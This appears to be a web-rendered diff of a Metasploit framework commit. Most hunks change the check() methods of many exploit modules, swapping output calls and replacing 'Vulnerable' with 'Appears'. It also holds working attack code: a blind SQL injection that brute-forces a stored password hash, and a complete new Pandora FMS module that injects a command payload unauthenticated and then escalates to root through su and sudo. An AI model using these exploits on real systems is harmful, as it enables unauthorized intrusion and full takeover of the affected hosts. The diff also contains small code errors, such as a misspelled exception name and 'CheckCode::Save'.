|
||||
'uri' => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''),
|
||||
'vars_post' =>
|
||||
{
|
||||
'frm_clientname' => 'admin',
|
||||
'frm_password' => @password,
|
||||
'login' => 'Login'
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.code == 302 && res.headers.include?('Set-Cookie')
|
||||
return res.get_cookies
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def server_info
|
||||
|
||||
unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank?
|
||||
return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] }
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.to_s, 'display.php'),
|
||||
'cookie' => @session,
|
||||
'vars_get' =>
|
||||
{
|
||||
'frm_action' => 'show'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /<input type=hidden name="frm_subaction" value ="commandcenter">/
|
||||
return parse_display_info(res.body.to_s)
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def parse_display_info(html)
|
||||
server_info = {}
|
||||
pos = html.index(/<input type=hidden name="frm_subaction" value ="commandcenter">/)
|
||||
|
||||
if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[class\]" value ="(.*)">/, pos).nil?
|
||||
return nil
|
||||
else
|
||||
server_info[:class] = $1
|
||||
end
|
||||
|
||||
if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[nname\]" value ="(.*)"> /, pos).nil?
|
||||
return nil
|
||||
else
|
||||
server_info[:name] = $1
|
||||
end
|
||||
|
||||
server_info
|
||||
end
|
||||
|
||||
def send_command(command)
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"')
|
||||
data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"')
|
||||
data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"')
|
||||
data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"')
|
||||
data.add_part('updateform', nil, nil, 'form-data; name="frm_action"')
|
||||
data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"')
|
||||
data.add_part('Execute', nil, nil, 'form-data; name="frm_change"')
|
||||
|
||||
post_data = data.to_s
|
||||
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'display.php'),
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'cookie' => @session,
|
||||
'data' => post_data
|
||||
}, 1)
|
||||
end
|
||||
|
||||
def webcommand_exists?
|
||||
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php'))
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def pefix_found?
|
||||
i = 1
|
||||
PASSWORD_PREFIX.each_char do |c|
|
||||
return false unless exploit_sqli(i, c)
|
||||
i = i + 1
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def bad_char(pos)
|
||||
Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos])
|
||||
end
|
||||
|
||||
def ascii(char)
|
||||
char.unpack('C')[0]
|
||||
end
|
||||
|
||||
def base64_password
|
||||
i = PASSWORD_PREFIX.length + 1
|
||||
loot = ''
|
||||
|
||||
until exploit_sqli(i, "\x00")
|
||||
vprint_status("#{peer} - Bruteforcing position #{i}")
|
||||
c = brute_force_char(i)
|
||||
if c.nil?
|
||||
return nil
|
||||
else
|
||||
loot << c
|
||||
end
|
||||
vprint_status("#{peer} - Found: #{loot}")
|
||||
i = i + 1
|
||||
end
|
||||
|
||||
loot
|
||||
end
|
||||
|
||||
def brute_force_char(pos)
|
||||
BASE64_RANGE.each_char do |c|
|
||||
return c if exploit_sqli(pos, c)
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def exploit_sqli(pos, char)
|
||||
# $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456)
|
||||
sqli = "al5i' "
|
||||
sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where "
|
||||
sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#"
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'login-class' => 'client',
|
||||
'login-name' => sqli,
|
||||
'login-password' => '123456'
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body.blank?
|
||||
return true
|
||||
elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_warning("#{peer} - Unknown fingerprint while exploiting SQLi... be careful")
|
||||
false
|
||||
end
|
||||
|
||||
end
|
|
@ -57,11 +57,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => '/HNAP1/'
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Safe
|
||||
vprint_error("A connection error has occured")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res and res.code == 200 and res.body =~ /<ModelName>WRT110<\/ModelName>/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -128,12 +128,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => normalize_uri(target_uri.path, "interface", "/"),
|
||||
})
|
||||
|
||||
if res and res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/
|
||||
if res.nil?
|
||||
vprint_error("Connection timed out")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/
|
||||
version = $1
|
||||
end
|
||||
|
||||
if version and version >= "5" and version <= "5.0-1.07"
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -88,10 +88,11 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Connection failed")
|
||||
vprint_error("#{peer} - Connection failed")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Unknown
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
# retrieve software version from login page
|
||||
print_status("#{peer} - Sending check")
|
||||
vprint_status("#{peer} - Sending check")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/'
|
||||
|
@ -83,10 +83,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Connection failed")
|
||||
vprint_error("#{peer} - Connection failed")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
return Exploit::CheckCode::Unknown
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
|
|
|
@ -0,0 +1,113 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Pandora FMS Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower.
|
||||
It will leverage an unauthenticated command injection in the Anyterm service on
|
||||
port 8023/TCP. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1
|
||||
the user "artica" is not assigned a password by default, which makes it possible to su
|
||||
to this user from the "pandora" user. The "artica" user has access to sudo without a
|
||||
password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0
|
||||
and lower force a password for the "artica" user during installation.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "",
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl python',
|
||||
}
|
||||
},
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
['Pandora 5.0RC1', {}]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Jan 29 2014",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8023),
|
||||
OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
print_status("#{peer} - Trying to escalate privileges to root")
|
||||
[
|
||||
# ignore SIGHUP so the server doesn't kill our root shell
|
||||
"trap '' HUP",
|
||||
# Spawn a pty for su/sudo
|
||||
"python -c 'import pty;pty.spawn(\"/bin/sh\")'",
|
||||
# Su to the passwordless "artica" account
|
||||
"su - artica",
|
||||
# The "artica" use has sudo rights without the need for a
|
||||
# password, thus gain root priveleges
|
||||
"sudo -s",
|
||||
].each do |command|
|
||||
vprint_status(command)
|
||||
client.shell_write(command + "\n")
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def check
|
||||
# Check version
|
||||
print_status("#{peer} - Trying to detect Pandora FMS Remote Gateway")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "anyterm.html")
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.include?("Pandora FMS Remote Gateway")
|
||||
print_good("#{peer} - Pandora FMS Remote Gateway Detected!")
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Sending payload")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "/anyterm-module"),
|
||||
'vars_post' => {
|
||||
'a' => "open",
|
||||
'p' => "`#{payload.encoded}`"
|
||||
}
|
||||
})
|
||||
|
||||
if !res || res.code != 200
|
||||
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'nsserver' => Rex::Text.encode_base64("127.0.0.1")
|
||||
}
|
||||
})
|
||||
if res and res.code == 200 and res.body =~ /NS Query result for 127.0.0.1/
|
||||
if res and res.code == 200 and res.body =~ /NS Query result for 127\.0\.0\.1/
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def target_smt_x9_214
|
||||
|
|
|
@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
print_status("#{peer} - Trying to detect installed version")
|
||||
vprint_status("#{peer} - Trying to detect installed version")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
|
@ -80,21 +80,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
|
||||
model = "DS#{model}" unless model =~ /^[A-Z]/
|
||||
else
|
||||
print_status("#{peer} - Detection failed")
|
||||
vprint_status("#{peer} - Detection failed")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
print_status("#{peer} - Model #{model} with version #{version}-#{build} detected")
|
||||
vprint_status("#{peer} - Model #{model} with version #{version}-#{build} detected")
|
||||
|
||||
case version
|
||||
when '4.0'
|
||||
return Exploit::CheckCode::Vulnerable if build < '2259'
|
||||
return Exploit::CheckCode::Appears if build < '2259'
|
||||
when '4.1'
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
return Exploit::CheckCode::Appears
|
||||
when '4.2'
|
||||
return Exploit::CheckCode::Vulnerable if build < '3243'
|
||||
return Exploit::CheckCode::Appears if build < '3243'
|
||||
when '4.3'
|
||||
return Exploit::CheckCode::Vulnerable if build < '3810'
|
||||
return Exploit::CheckCode::Appears if build < '3810'
|
||||
return Exploit::CheckCode::Detected if build == '3810'
|
||||
end
|
||||
|
||||
|
|
|
@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
data = "pc=127.0.0.1; "
|
||||
data << Rex::Text.uri_encode("echo #{fingerprint}")
|
||||
data << "%26"
|
||||
print_status("#{peer} - Sending check")
|
||||
vprint_status("#{peer} - Sending check")
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
|
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'data' => data
|
||||
}, 25)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Connection failed")
|
||||
vprint_error("#{peer} - Connection failed")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
|
|
|
@ -60,8 +60,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => "#{uri}/login.php"
|
||||
})
|
||||
|
||||
if res and res.body =~ /WebCalendar v1.2.\d/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
if res and res.body =~ /WebCalendar v1\.2\.\d/
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
|
|
@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
# Check version
|
||||
print_status("#{peer} - Trying to detect installed version")
|
||||
vprint_status("#{peer} - Trying to detect installed version")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
|
@ -72,10 +72,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ and res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/
|
||||
version = $1
|
||||
print_status("#{peer} - Zabbix version #{version} detected")
|
||||
vprint_status("#{peer} - Zabbix version #{version} detected")
|
||||
else
|
||||
# If this fails, guest access may not be enabled
|
||||
print_status("#{peer} - Unable to access httpmon.php")
|
||||
vprint_status("#{peer} - Unable to access httpmon.php")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
|
|
|
@ -66,23 +66,23 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
# retrieve software version from config file
|
||||
print_status("#{peer} - Sending check")
|
||||
vprint_status("#{peer} - Sending check")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/config/global.conf'
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
|
||||
if res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif res and res.code == 200 and res.body =~ /zenloadbalancer/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Connection failed")
|
||||
vprint_error("#{peer} - Connection failed")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
return Exploit::CheckCode::Unknown
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
|
@ -69,14 +69,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'method' => "GET",
|
||||
'uri' => "/zport/acl_users/cookieAuthHelper/login_form"
|
||||
})
|
||||
return Exploit::CheckCode::Vulnerable if res.body =~ /<p>Copyright © 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
|
||||
return Exploit::CheckCode::Appears if res.body =~ /<p>Copyright © 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
|
||||
return Exploit::CheckCode::Detected if res.body =~ /<link rel="shortcut icon" type="image\/x\-icon" href="\/zport\/dmd\/favicon\.ico" \/>/
|
||||
return Exploit::CheckCode::Safe
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
|
||||
print_error("#{peer} - Connection failed")
|
||||
vprint_error("#{peer} - Connection failed")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
return Exploit::CheckCode::Unknown
|
||||
|
||||
return Exploit::CheckCode::Save
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
|
@ -61,8 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
connect
|
||||
disconnect
|
||||
|
||||
if (banner =~ /IMAP4rev1 v12.264/)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
if (banner =~ /IMAP4rev1 v12\.264/)
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
||||
|
|
|
@ -62,7 +62,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
return CheckCode::Detected
|
||||
end
|
||||
|
||||
return CheckCode::Unknown
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
|
@ -57,7 +57,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
|
||||
def check
|
||||
if setuid?("/usr/bin/vmware-mount")
|
||||
CheckCode::Vulnerable
|
||||
CheckCode::Appears
|
||||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
|
|
@ -51,7 +51,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
return CheckCode::Detected
|
||||
end
|
||||
|
||||
return CheckCode::Unknown
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
|
@ -70,13 +70,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check
|
||||
connect
|
||||
packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{target['Version']}\"")
|
||||
print_status("#{rhost}:#{rport} Sending login packet to check...")
|
||||
vprint_status("#{rhost}:#{rport} Sending login packet to check...")
|
||||
sock.put(packet)
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if res and res=~ /OK/ and res =~ /Login/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif res and res =~ /FAILED/ and res =~ /version/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
|
|
@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
print_status("Checking if remote NRPE supports command line arguments")
|
||||
vprint_status("Checking if remote NRPE supports command line arguments")
|
||||
|
||||
begin
|
||||
# send query asking to run "fake_check" command with command substitution in arguments
|
||||
|
@ -141,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return Exploit::CheckCode::Safe
|
||||
rescue Errno::ECONNRESET => reset
|
||||
unless datastore['NRPESSL'] or @force_ssl
|
||||
print_status("Retrying with ADH SSL")
|
||||
vprint_status("Retrying with ADH SSL")
|
||||
@force_ssl = true
|
||||
retry
|
||||
end
|
||||
|
|
|
@ -141,14 +141,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
case fprint
|
||||
when 'BE'
|
||||
print_status("Detected Big Endian")
|
||||
return Msf::Exploit::CheckCode::Vulnerable
|
||||
vprint_status("Detected Big Endian")
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
when 'LE'
|
||||
print_status("Detected Little Endian")
|
||||
return Msf::Exploit::CheckCode::Vulnerable
|
||||
vprint_status("Detected Little Endian")
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return Msf::Exploit::CheckCode::Unknown
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
|
@ -82,17 +82,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
cmd = "echo #{clue}"
|
||||
|
||||
connect
|
||||
print_status("#{peer} - Sending 'Command' request...")
|
||||
vprint_status("#{peer} - Sending 'Command' request...")
|
||||
res = send_command(sock, node_id, cmd)
|
||||
disconnect
|
||||
|
||||
if res
|
||||
print_status(res)
|
||||
vprint_status(res)
|
||||
if res =~ /#{clue}/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif res =~ /-1/ and res=~ /NODE (\d*)/
|
||||
node_id = $1
|
||||
print_good("#{peer} - Node ID #{node_id} discovered")
|
||||
vprint_good("#{peer} - Node ID #{node_id} discovered")
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Retry with the good node_id
|
||||
connect
|
||||
print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
|
||||
vprint_status("#{peer} - Sending 'Command' request with discovered Node ID...")
|
||||
res = send_command(sock, node_id, cmd)
|
||||
disconnect
|
||||
if res and res =~ /#{clue}/
|
||||
|
|
|
@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
version = postgres_fingerprint
|
||||
|
||||
if version[:auth]
|
||||
return CheckCode::Vulnerable
|
||||
return CheckCode::Appears
|
||||
else
|
||||
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
|
||||
return CheckCode::Safe
|
||||
|
|
|
@ -282,7 +282,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
|
||||
minor = version.scan(/\.(\d*)$/).flatten[0].to_i
|
||||
print_status("Version found: #{version}")
|
||||
vprint_status("Version found: #{version}")
|
||||
|
||||
return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
|
||||
return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue